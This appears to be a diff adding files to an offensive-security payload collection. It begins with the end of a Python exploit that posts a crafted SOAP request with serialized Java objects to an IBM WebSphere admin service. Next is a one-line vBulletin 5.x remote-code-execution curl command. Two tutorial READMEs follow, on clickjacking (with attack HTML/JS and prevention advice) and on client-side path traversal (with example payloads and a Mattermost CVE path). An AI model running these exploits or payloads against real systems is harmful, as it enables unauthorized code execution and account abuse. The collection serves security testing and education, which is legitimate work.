+ ser1 = "rO0ABXNyAA9qYXZhLnV0aWwuU3RhY2sQ/irCuwmGHQIAAHhyABBqYXZhLnV0aWwuVmVjdG9y2Zd9W4A7rwEDAANJABFjYXBhY2l0eUluY3JlbWVudEkADGVsZW1lbnRDb3VudFsAC2VsZW1lbnREYXRhdAATW0xqYXZhL2xhbmcvT2JqZWN0O3hwAAAAAAAAAAF1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAAKc3IAOmNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3IuSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnTblRMyYyF8sQIABUwACGNlbGxOYW1ldAASTGphdmEvbGFuZy9TdHJpbmc7TAAIaG9zdE5hbWVxAH4AB0wACG5vZGVOYW1lcQB+AAdMAApzZXJ2ZXJOYW1lcQB+AAdbAApzdGFja1RyYWNldAAeW0xqYXZhL2xhbmcvU3RhY2tUcmFjZUVsZW1lbnQ7eHB0AAB0AAhMYXAzOTAxM3EAfgAKcQB+AAp1cgAeW0xqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnQ7AkYqPDz9IjkCAAB4cAAAACpzcgAbamF2YS5sYW5nLlN0YWNrVHJhY2VFbGVtZW50YQnFmiY23YUCAARJAApsaW5lTnVtYmVyTAAOZGVjbGFyaW5nQ2xhc3NxAH4AB0wACGZpbGVOYW1lcQB+AAdMAAptZXRob2ROYW1lcQB+AAd4cAAAAEt0ADpjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHRFbGVtZW50dAAfSk1YQ29ubmVjdG9yQ29udGV4dEVsZW1lbnQuamF2YXQABjxpbml0PnNxAH4ADgAAADx0ADNjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLkpNWENvbm5lY3RvckNvbnRleHR0ABhKTVhDb25uZWN0b3JDb250ZXh0LmphdmF0AARwdXNoc3EAfgAOAAAGQ3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAcZ2V0Sk1YQ29ubmVjdG9yQ29udGV4dEhlYWRlcnNxAH4ADgAAA0h0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQAEmludm9rZVRlbXBsYXRlT25jZXNxAH4ADgAAArF0ADhjb20uaWJtLndzLm1hbmFnZW1lbnQuY29ubmVjdG9yLnNvYXAuU09BUENvbm5lY3RvckNsaWVudHQAGFNPQVBDb25uZWN0b3JDbGllbnQuamF2YXQADmludm9rZVRlbXBsYXRlc3EAfgAOAAACp3QAOGNvbS5pYm0ud3MubWFuYWdlbWVudC5jb25uZWN0b3Iuc29hcC5TT0FQQ29ubmVjdG9yQ2xpZW50dAAYU09BUENvbm5lY3RvckNsaWVudC5qYXZhdAAOaW52b2tlVGVtcGxhdGVzcQB+AA4AAAKZdAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA4AAAHndAA4Y29tLmlibS53cy5tYW5hZ2VtZW50LmNvbm5lY3Rvci5zb2FwLlNPQVBDb25uZWN0b3JDbGllbnR0ABhTT0FQQ29ubmVjdG9yQ2xpZW50LmphdmF0AAZpbnZva2VzcQB+AA7/////dAAVY29tLnN1bi5wcm94eS4kUHJveHkwcHQABmludm9rZXNxAH4ADgAAAOB0ACVjb20uaWJtLndzLm1hbmFnZW1lbnQuQWRtaW5DbGllbnRJbXBsdAAUQWRtaW5DbGllbnRJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAADYdAA9Y29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5jb25maWdzZXJ2aWNlLkNvbmZpZ1NlcnZpY2VQcm94eXQAF0NvbmZpZ1NlcnZpY2VQcm94eS5qYXZhdAARZ2V0VW5zYXZlZENoYW5nZXNzcQB+AA4AAAwYdAAmY29tLmlibS53cy5zY3JpcHRpbmcuQWRtaW5Db25maWdDbGllbnR0ABZBZG1pbkNvbmZpZ0NsaWVudC5qYXZhdAAKaGFzQ2hhbmdlc3NxAH4ADgAAA/Z0AB5jb20uaWJtLndzLnNjcmlwdGluZy5XYXN4U2hlbGx0AA5XYXN4U2hlbGwuamF2YXQACHRpbWVUb0dvc3EAfgAOAAAFm3QAImNvbS5pYm0ud3Muc2NyaXB0aW5nLkFic3RyYWN0U2hlbGx0ABJBYnN0cmFjdFNoZWxsLmphdmF0AAtpbnRlcmFjdGl2ZXNxAH4ADgAACPp0ACJjb20uaWJtLndzLnNjcmlwdGluZy5BYnN0cmFjdFNoZWxsdAASQWJzdHJhY3RTaGVsbC5qYXZhdAADcnVuc3EAfgAOAAAElHQAHmNvbS5pYm0ud3Muc2NyaXB0aW5nLldhc3hTaGVsbHQADldhc3hTaGVsbC5qYXZhdAAEbWFpbnNxAH4ADv////50ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQAB2ludm9rZTBzcQB+AA4AAAA8dAAkc3VuLnJlZmxlY3QuTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsdAAdTmF0aXZlTWV0aG9kQWNjZXNzb3JJbXBsLmphdmF0AAZpbnZva2VzcQB+AA4AAAAldAAoc3VuLnJlZmxlY3QuRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbHQAIURlbGVnYXRpbmdNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAAmN0ABhqYXZhLmxhbmcucmVmbGVjdC5NZXRob2R0AAtNZXRob2QuamF2YXQABmludm9rZXNxAH4ADgAAAOp0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAKbGF1bmNoTWFpbnNxAH4ADgAAAGB0ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAAEbWFpbnNxAH4ADgAAAE10ACJjb20uaWJtLndzc3BpLmJvb3RzdHJhcC5XU0xhdW5jaGVydAAPV1NMYXVuY2hlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAACS3QANG9yZy5lY2xpcHNlLmVxdWlub3guaW50ZXJuYWwuYXBwLkVjbGlwc2VBcHBDb250YWluZXJ0ABhFY2xpcHNlQXBwQ29udGFpbmVyLmphdmF0ABdjYWxsTWV0aG9kV2l0aEV4Y2VwdGlvbnNxAH4ADgAAAMZ0ADFvcmcuZWNsaXBzZS5lcXVpbm94LmludGVybmFsLmFwcC5FY2xpcHNlQXBwSGFuZGxldAAVRWNsaXBzZUFwcEhhbmRsZS5qYXZhdAADcnVuc3EAfgAOAAAAbnQAPG9yZy5lY2xpcHNlLmNvcmUucnVudGltZS5pbnRlcm5hbC5hZGFwdG9yLkVjbGlwc2VBcHBMYXVuY2hlcnQAF0VjbGlwc2VBcHBMYXVuY2hlci5qYXZhdAAOcnVuQXBwbGljYXRpb25zcQB+AA4AAABPdAA8b3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmludGVybmFsLmFkYXB0b3IuRWNsaXBzZUFwcExhdW5jaGVydAAXRWNsaXBzZUFwcExhdW5jaGVyLmphdmF0AAVzdGFydHNxAH4ADgAAAXF0AC9vcmcuZWNsaXBzZS5jb3JlLnJ1bnRpbWUuYWRhcHRvci5FY2xpcHNlU3RhcnRlcnQAE0VjbGlwc2VTdGFydGVyLmphdmF0AANydW5zcQB+AA4AAACzdAAvb3JnLmVjbGlwc2UuY29yZS5ydW50aW1lLmFkYXB0b3IuRWNsaXBzZVN0YXJ0ZXJ0ABNFY2xpcHNlU3RhcnRlci5qYXZhdAADcnVuc3EAfgAO/////nQAJHN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbHQAHU5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAHaW52b2tlMHNxAH4ADgAAADx0ACRzdW4ucmVmbGVjdC5OYXRpdmVNZXRob2RBY2Nlc3NvckltcGx0AB1OYXRpdmVNZXRob2RBY2Nlc3NvckltcGwuamF2YXQABmludm9rZXNxAH4ADgAAACV0AChzdW4ucmVmbGVjdC5EZWxlZ2F0aW5nTWV0aG9kQWNjZXNzb3JJbXBsdAAhRGVsZWdhdGluZ01ldGhvZEFjY2Vzc29ySW1wbC5qYXZhdAAGaW52b2tlc3EAfgAOAAACY3QAGGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZHQAC01ldGhvZC5qYXZhdAAGaW52b2tlc3EAfgAOAAABVHQAHm9yZy5lY2xpcHNlLmNvcmUubGF1bmNoZXIuTWFpbnQACU1haW4uamF2YXQAD2ludm9rZUZyYW1ld29ya3NxAH4ADgAAARp0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AAhiYXNpY1J1bnNxAH4ADgAAA9V0AB5vcmcuZWNsaXBzZS5jb3JlLmxhdW5jaGVyLk1haW50AAlNYWluLmphdmF0AANydW5zcQB+AA4AAAGQdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQADWxhdW5jaEVjbGlwc2VzcQB+AA4AAACjdAAlY29tLmlibS53c3NwaS5ib290c3RyYXAuV1NQcmVMYXVuY2hlcnQAEldTUHJlTGF1bmNoZXIuamF2YXQABG1haW5wcHBwcHBwcHB4"
54
+
55
+ ser2 = "rO0ABXNyABtqYXZheC5tYW5hZ2VtZW50Lk9iamVjdE5hbWUPA6cb620VzwMAAHhwdACxV2ViU3BoZXJlOm5hbWU9Q29uZmlnU2VydmljZSxwcm9jZXNzPXNlcnZlcjEscGxhdGZvcm09cHJveHksbm9kZT1MYXAzOTAxM05vZGUwMSx2ZXJzaW9uPTguNS41LjcsdHlwZT1Db25maWdTZXJ2aWNlLG1iZWFuSWRlbnRpZmllcj1Db25maWdTZXJ2aWNlLGNlbGw9TGFwMzkwMTNOb2RlMDFDZWxsLHNwZWM9MS4weA=="
56
+
57
+ #This was in the nessus plugin, but wasn't used anywhwere :/
58
+ #ser3 = "rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAFzcgAkY29tLmlibS53ZWJzcGhlcmUubWFuYWdlbWVudC5TZXNzaW9uJ5mLeyYSGOUCAANKAAJpZFoADnNoYXJlV29ya3NwYWNlTAAIdXNlck5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cAAAAVEDKkaUAXQAEVNjcmlwdDE1MTAzMmE0Njk0"
59
+
60
+ ser4 = "rO0ABXVyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACRjb20uaWJtLndlYnNwaGVyZS5tYW5hZ2VtZW50LlNlc3Npb24="
61
+
62
+ xmlObj ="<?xml version='1.0' encoding='UTF-8'?>\r\n"
63
+ xmlObj +='<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">\r\n'
64
+ xmlObj +='<SOAP-ENV:Header ns0:JMXConnectorContext="{ser1}" xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.7" ns0:JMXMessageVersion="1.2.0" ns0:JMXVersion="1.2.0">\r\n'.format(ser1=ser1)
65
+ xmlObj +='</SOAP-ENV:Header>\r\n'
66
+ xmlObj +='<SOAP-ENV:Body>\r\n'
67
+ xmlObj +='<ns1:invoke xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">\r\n'
68
+ xmlObj +='<objectname xsi:type="ns1:javax.management.ObjectName">{ser2}</objectname>\r\n'.format(ser2=ser2)
69
+ xmlObj +='<operationname xsi:type="xsd:string">getUnsavedChanges</operationname>\r\n'
70
+ xmlObj +='<params xsi:type="ns1:[Ljava.lang.Object;">{serObjB64}</params>\r\n'.format(serObjB64=serObjB64)
71
+ xmlObj +='<signature xsi:type="ns1:[Ljava.lang.String;">{ser4}</signature>\r\n'.format(ser4=ser4)
72
+ xmlObj +='</ns1:invoke>\r\n'
73
+ xmlObj +='</SOAP-ENV:Body>\r\n'
74
+ xmlObj +='</SOAP-ENV:Envelope>'
75
+
76
+ headers = {'Content-Type': 'text/xml; charset=utf-8',
77
+ 'SOAPAction': 'urn:AdminService'}
78
+
79
+ r = requests.post('{}://{}:{}'.format(args.proto, ip, port), data=xmlObj, headers=headers, verify=False)
80
+ print('[*] HTTPS request sent successfully')
payloads/CVE Exploits/vBulletin RCE 5.0.0 - 5.5.4.sh ADDED
@@ -0,0 +1 @@
 
 
1
+ curl https://example.com/index.php\?routestring\=ajax/render/widget_php --connect-timeout 5 --max-time 15 -s -k --data "widgetConfig[code]=echo system('id');exit;"
payloads/Clickjacking/README.md ADDED
@@ -0,0 +1,260 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Clickjacking
2
+
3
+ > Clickjacking is a type of web security vulnerability where a malicious website tricks a user into clicking on something different from what the user perceives, potentially causing the user to perform unintended actions without their knowledge or consent. Users are tricked into performing all sorts of unintended actions as such as typing in the password, clicking on ‘Delete my account' button, liking a post, deleting a post, commenting on a blog. In other words all the actions that a normal user can do on a legitimate website can be done using clickjacking.
4
+
5
+ ## Summary
6
+
7
+ * [Tools](#tools)
8
+ * [Methodology](#methodology)
9
+ * [UI Redressing](#ui-redressing)
10
+ * [Invisible Frames](#invisible-frames)
11
+ * [Button/Form Hijacking](#buttonform-hijacking)
12
+ * [Execution Methods](#execution-methods)
13
+ * [Preventive Measures](#preventive-measures)
14
+ * [Implement X-Frame-Options Header](#implement-x-frame-options-header)
15
+ * [Content Security Policy (CSP)](#content-security-policy-csp)
16
+ * [Disabling JavaScript](#disabling-javascript)
17
+ * [OnBeforeUnload Event](#onbeforeunload-event)
18
+ * [XSS Filter](#xss-filter)
19
+ * [IE8 XSS filter](#ie8-xss-filter)
20
+ * [Chrome 4.0 XSSAuditor filter](#chrome-40-xssauditor-filter)
21
+ * [Challenge](#challenge)
22
+ * [Labs](#labs)
23
+ * [References](#references)
24
+
25
+ ## Tools
26
+
27
+ * [portswigger/burp](https://portswigger.net/burp)
28
+ * [zaproxy/zaproxy](https://github.com/zaproxy/zaproxy)
29
+ * [machine1337/clickjack](https://github.com/machine1337/clickjack)
30
+
31
+
32
+ ## Methodology
33
+
34
+ ### UI Redressing
35
+
36
+ UI Redressing is a Clickjacking technique where an attacker overlays a transparent UI element on top of a legitimate website or application.
37
+ The transparent UI element contains malicious content or actions that are visually hidden from the user. By manipulating the transparency and positioning of elements,
38
+ the attacker can trick the user into interacting with the hidden content, believing they are interacting with the visible interface.
39
+
40
+ * **How UI Redressing Works:**
41
+ * Overlaying Transparent Element: The attacker creates a transparent HTML element (usually a `<div>`) that covers the entire visible area of a legitimate website. This element is made transparent using CSS properties like `opacity: 0;`.
42
+ * Positioning and Layering: By setting the CSS properties such as `position: absolute; top: 0; left: 0;`, the transparent element is positioned to cover the entire viewport. Since it's transparent, the user doesn't see it.
43
+ * Misleading User Interaction: The attacker places deceptive elements within the transparent container, such as fake buttons, links, or forms. These elements perform actions when clicked, but the user is unaware of their presence due to the overlaying transparent UI element.
44
+ * User Interaction: When the user interacts with the visible interface, they are unknowingly interacting with the hidden elements due to the transparent overlay. This interaction can lead to unintended actions or unauthorized operations.
45
+
46
+ ```html
47
+ <div style="opacity: 0; position: absolute; top: 0; left: 0; height: 100%; width: 100%;">
48
+ <a href="malicious-link">Click me</a>
49
+ </div>
50
+ ```
51
+
52
+ ### Invisible Frames
53
+
54
+ Invisible Frames is a Clickjacking technique where attackers use hidden iframes to trick users into interacting with content from another website unknowingly.
55
+ These iframes are made invisible by setting their dimensions to zero (height: 0; width: 0;) and removing their borders (border: none;).
56
+ The content inside these invisible frames can be malicious, such as phishing forms, malware downloads, or any other harmful actions.
57
+
58
+ * **How Invisible Frames Work:**
59
+ * Hidden IFrame Creation: The attacker includes an `<iframe>` element in a webpage, setting its dimensions to zero and removing its border, making it invisible to the user.
60
+
61
+ ```html
62
+ <iframe src="malicious-site" style="opacity: 0; height: 0; width: 0; border: none;"></iframe>
63
+ ```
64
+
65
+ * Loading Malicious Content: The src attribute of the iframe points to a malicious website or resource controlled by the attacker. This content is loaded silently without the user's knowledge because the iframe is invisible.
66
+ * User Interaction: The attacker overlays enticing elements on top of the invisible iframe, making it seem like the user is interacting with the visible interface. For instance, the attacker might position a transparent button over the invisible iframe. When the user clicks the button, they are essentially clicking on the hidden content within the iframe.
67
+ * Unintended Actions: Since the user is unaware of the invisible iframe, their interactions can lead to unintended actions, such as submitting forms, clicking on malicious links, or even performing financial transactions without their consent.
68
+
69
+
70
+ ### Button/Form Hijacking
71
+
72
+ Button/Form Hijacking is a Clickjacking technique where attackers trick users into interacting with invisible or hidden buttons/forms, leading to unintended actions on a legitimate website. By overlaying deceptive elements on top of visible buttons or forms, attackers can manipulate user interactions to perform malicious actions without the user's knowledge.
73
+
74
+ * **How Button/Form Hijacking Works:**
75
+ * Visible Interface: The attacker presents a visible button or form to the user, encouraging them to click or interact with it.
76
+
77
+ ```html
78
+ <button onclick="submitForm()">Click me</button>
79
+ ```
80
+
81
+ * Invisible Overlay: The attacker overlays this visible button or form with an invisible or transparent element that contains a malicious action, such as submitting a hidden form.
82
+
83
+ ```html
84
+ <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
85
+ <!-- Hidden form fields -->
86
+ </form>
87
+ ```
88
+
89
+ * Deceptive Interaction: When the user clicks the visible button, they are unknowingly interacting with the hidden form due to the invisible overlay. The form is submitted, potentially causing unauthorized actions or data leakage.
90
+
91
+ ```html
92
+ <button onclick="submitForm()">Click me</button>
93
+ <form action="legitimate-site" method="POST" id="hidden-form">
94
+ <!-- Hidden form fields -->
95
+ </form>
96
+ <script>
97
+ function submitForm() {
98
+ document.getElementById('hidden-form').submit();
99
+ }
100
+ </script>
101
+ ```
102
+
103
+ ### Execution Methods
104
+
105
+ * Creating Hidden Form: The attacker creates a hidden form containing malicious input fields, targeting a vulnerable action on the victim's website. This form remains invisible to the user.
106
+
107
+ ```html
108
+ <form action="malicious-site" method="POST" id="hidden-form" style="display: none;">
109
+ <input type="hidden" name="username" value="attacker">
110
+ <input type="hidden" name="action" value="transfer-funds">
111
+ </form>
112
+ ```
113
+
114
+ * Overlaying Visible Element: The attacker overlays a visible element (button or form) on their malicious page, encouraging users to interact with it. When the user clicks the visible element, they unknowingly trigger the hidden form's submission.
115
+
116
+ ```js
117
+ function submitForm() {
118
+ document.getElementById('hidden-form').submit();
119
+ }
120
+ ```
121
+
122
+
123
+ ## Preventive Measures
124
+
125
+ ### Implement X-Frame-Options Header
126
+
127
+ Implement the X-Frame-Options header with the DENY or SAMEORIGIN directive to prevent your website from being embedded within an iframe without your consent.
128
+
129
+ ```apache
130
+ Header always append X-Frame-Options SAMEORIGIN
131
+ ```
132
+
133
+ ### Content Security Policy (CSP)
134
+
135
+ Use CSP to control the sources from which content can be loaded on your website, including scripts, styles, and frames.
136
+ Define a strong CSP policy to prevent unauthorized framing and loading of external resources.
137
+ Example in HTML meta tag:
138
+
139
+ ```html
140
+ <meta http-equiv="Content-Security-Policy" content="frame-ancestors 'self';">
141
+ ```
142
+
143
+ ### Disabling JavaScript
144
+
145
+ * Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.
146
+ * There are three deactivation techniques that can be used with frames:
147
+ * Restricted frames with Internet Explorer: Starting from IE6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.
148
+
149
+ ```html
150
+ <iframe src="http://target site" security="restricted"></iframe>
151
+ ```
152
+
153
+ * Sandbox attribute: with HTML5 there is a new attribute called “sandbox”. It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.
154
+
155
+ ```html
156
+ <iframe src="http://target site" sandbox></iframe>
157
+ ```
158
+
159
+ ## OnBeforeUnload Event
160
+
161
+ * The `onBeforeUnload` event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.
162
+
163
+ * The attacker can use this attack by registering an unload event on the top page using the following example code:
164
+
165
+ ```html
166
+ <h1>www.fictitious.site</h1>
167
+ <script>
168
+ window.onbeforeunload = function()
169
+ {
170
+ return " Do you want to leave fictitious.site?";
171
+ }
172
+ </script>
173
+ <iframe src="http://target site">
174
+ ```
175
+
176
+ * The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker have to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a _"HTTP/1.1 204 No Content"_ header.
177
+
178
+ _204 page:_
179
+
180
+ ```php
181
+ <?php
182
+ header("HTTP/1.1 204 No Content");
183
+ ?>
184
+ ```
185
+
186
+ _Attacker's Page_
187
+
188
+ ```js
189
+ <script>
190
+ var prevent_bust = 0;
191
+ window.onbeforeunload = function() {
192
+ prevent_bust++;
193
+ };
194
+ setInterval(
195
+ function() {
196
+ if (prevent_bust > 0) {
197
+ prevent_bust -= 2;
198
+ window.top.location = "http://attacker.site/204.php";
199
+ }
200
+ }, 1);
201
+ </script>
202
+ <iframe src="http://target site">
203
+ ```
204
+
205
+ ## XSS Filter
206
+
207
+ ### IE8 XSS filter
208
+ This filter has visibility into all parameters of each request and response flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disables all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induce a false positive by inserting the beginning of the frame busting script into a request's parameters.
209
+
210
+ ```html
211
+ <script>
212
+ if ( top != self )
213
+ {
214
+ top.location=self.location;
215
+ }
216
+ </script>
217
+ ```
218
+
219
+ Attacker View:
220
+
221
+ ```html
222
+ <iframe src=”http://target site/?param=<script>if”>
223
+ ```
224
+
225
+ ### Chrome 4.0 XSSAuditor filter
226
+
227
+ It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a “script” by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.
228
+
229
+ Attacker View:
230
+
231
+ ```html
232
+ <iframe src=”http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D”>
233
+ ```
234
+
235
+ ## Challenge
236
+
237
+ Inspect the following code:
238
+
239
+ ```html
240
+ <div style="position: absolute; opacity: 0;">
241
+ <iframe src="https://legitimate-site.com/login" width="500" height="500"></iframe>
242
+ </div>
243
+ <button onclick="document.getElementsByTagName('iframe')[0].contentWindow.location='malicious-site.com';">Click me</button>
244
+ ```
245
+
246
+ Determine the Clickjacking vulnerability within this code snippet. Identify how the hidden iframe is being used to exploit the user's actions when they click the button, leading them to a malicious website.
247
+
248
+
249
+ ## Labs
250
+
251
+ * [OWASP WebGoat](https://owasp.org/www-project-webgoat/)
252
+ * [OWASP Client Side Clickjacking Test](https://owasp.org/www-project-web-security-testing-guide/v41/4-Web_Application_Security_Testing/11-Client_Side_Testing/09-Testing_for_Clickjacking)
253
+
254
+
255
+ ## References
256
+
257
+ - [Clickjacker.io - Saurabh Banawar - May 10, 2020](https://clickjacker.io)
258
+ - [Clickjacking - Gustav Rydstedt - April 28, 2020](https://owasp.org/www-community/attacks/Clickjacking)
259
+ - [Synopsys Clickjacking - BlackDuck - November 29, 2019](https://www.synopsys.com/glossary/what-is-clickjacking.html#B)
260
+ - [Web-Security Clickjacking - PortSwigger - October 12, 2019](https://portswigger.net/web-security/clickjacking)
payloads/Client Side Path Traversal/README.md ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Client Side Path Traversal
2
+
3
+ > Client-Side Path Traversal (CSPT), sometimes also referred to as "On-site Request Forgery," is a vulnerability that can be exploited as a tool for CSRF or XSS attacks.
4
+
5
+ > It takes advantage of the client side's ability to make requests using fetch to a URL, where multiple "../" characters can be injected. After normalization, these characters redirect the request to a different URL, potentially leading to security breaches.
6
+
7
+ > Since every request is initiated from within the frontend of the application, the browser automatically includes cookies and other authentication mechanisms, making them available for exploitation in these attacks.
8
+
9
+
10
+ ## Summary
11
+
12
+ * [Tools](#tools)
13
+ * [Methodology](#methodology)
14
+ * [CSPT to XSS](#cspt-to-xss)
15
+ * [CSPT to CSRF](#cspt-to-xss)
16
+ * [Labs](#labs)
17
+ * [References](#references)
18
+
19
+
20
+ ## Tools
21
+
22
+ * [doyensec/CSPTBurpExtension](https://github.com/doyensec/CSPTBurpExtension) - CSPT is an open-source Burp Suite extension to find and exploit Client-Side Path Traversal.
23
+
24
+
25
+ ## Methodology
26
+
27
+ ### CSPT to XSS
28
+
29
+ ![](https://matanber.com/images/blog/cspt-query-param.png)
30
+
31
+ A post-serving page calls the fetch function, sending a request to a URL with attacker-controlled input which is not properly encoded in its path, allowing the attacker to inject `../` sequences to the path and make the request get sent to an arbitrary endpoint. This behavior is referred to as a CSPT vulnerability.
32
+
33
+ **Example**:
34
+
35
+ * The page `https://example.com/static/cms/news.html` takes a `newsitemid` as parameter
36
+ * Then fetch the content of `https://example.com/newitems/<newsitemid>`
37
+ * A text injection was also discovered in `https://example.com/pricing/default.js` via the `cb` parameter
38
+ * Final payload is `https://example.com/static/cms/news.html?newsitemid=../pricing/default.js?cb=alert(document.domain)//`
39
+
40
+
41
+ ### CSPT to CSRF
42
+
43
+ A CSPT is redirecting legitimate HTTP requests, allowing the front end to add necessary tokens for API calls, such as authentication or CSRF tokens. This capability can potentially be exploited to circumvent existing CSRF protection measures.
44
+
45
+ | | CSRF | CSPT2CSRF |
46
+ | ------------------------------------------- | ----------------- | ------------------ |
47
+ | POST CSRF ? | :white_check_mark: | :white_check_mark: |
48
+ | Can control the body ? | :white_check_mark: | :x: |
49
+ | Can work with anti-CSRF token ? | :x: | :white_check_mark: |
50
+ | Can work with Samesite=Lax ? | :x: | :white_check_mark: |
51
+ | GET / PATCH / PUT / DELETE CSRF ? | :x: | :white_check_mark: |
52
+ | 1-click CSRF ? | :x: | :white_check_mark: |
53
+ | Does impact depend on source and on sinks ? | :x: | :white_check_mark: |
54
+
55
+
56
+ Real-World Scenarios:
57
+
58
+ * 1-click CSPT2CSRF in Rocket.Chat
59
+ * CVE-2023-45316: CSPT2CSRF with a POST sink in Mattermost : `/<team>/channels/channelname?telem_action=under_control&forceRHSOpen&telem_run_id=../../../../../../api/v4/caches/invalidate`
60
+ * CVE-2023-6458: CSPT2CSRF with a GET sink in Mattermost
61
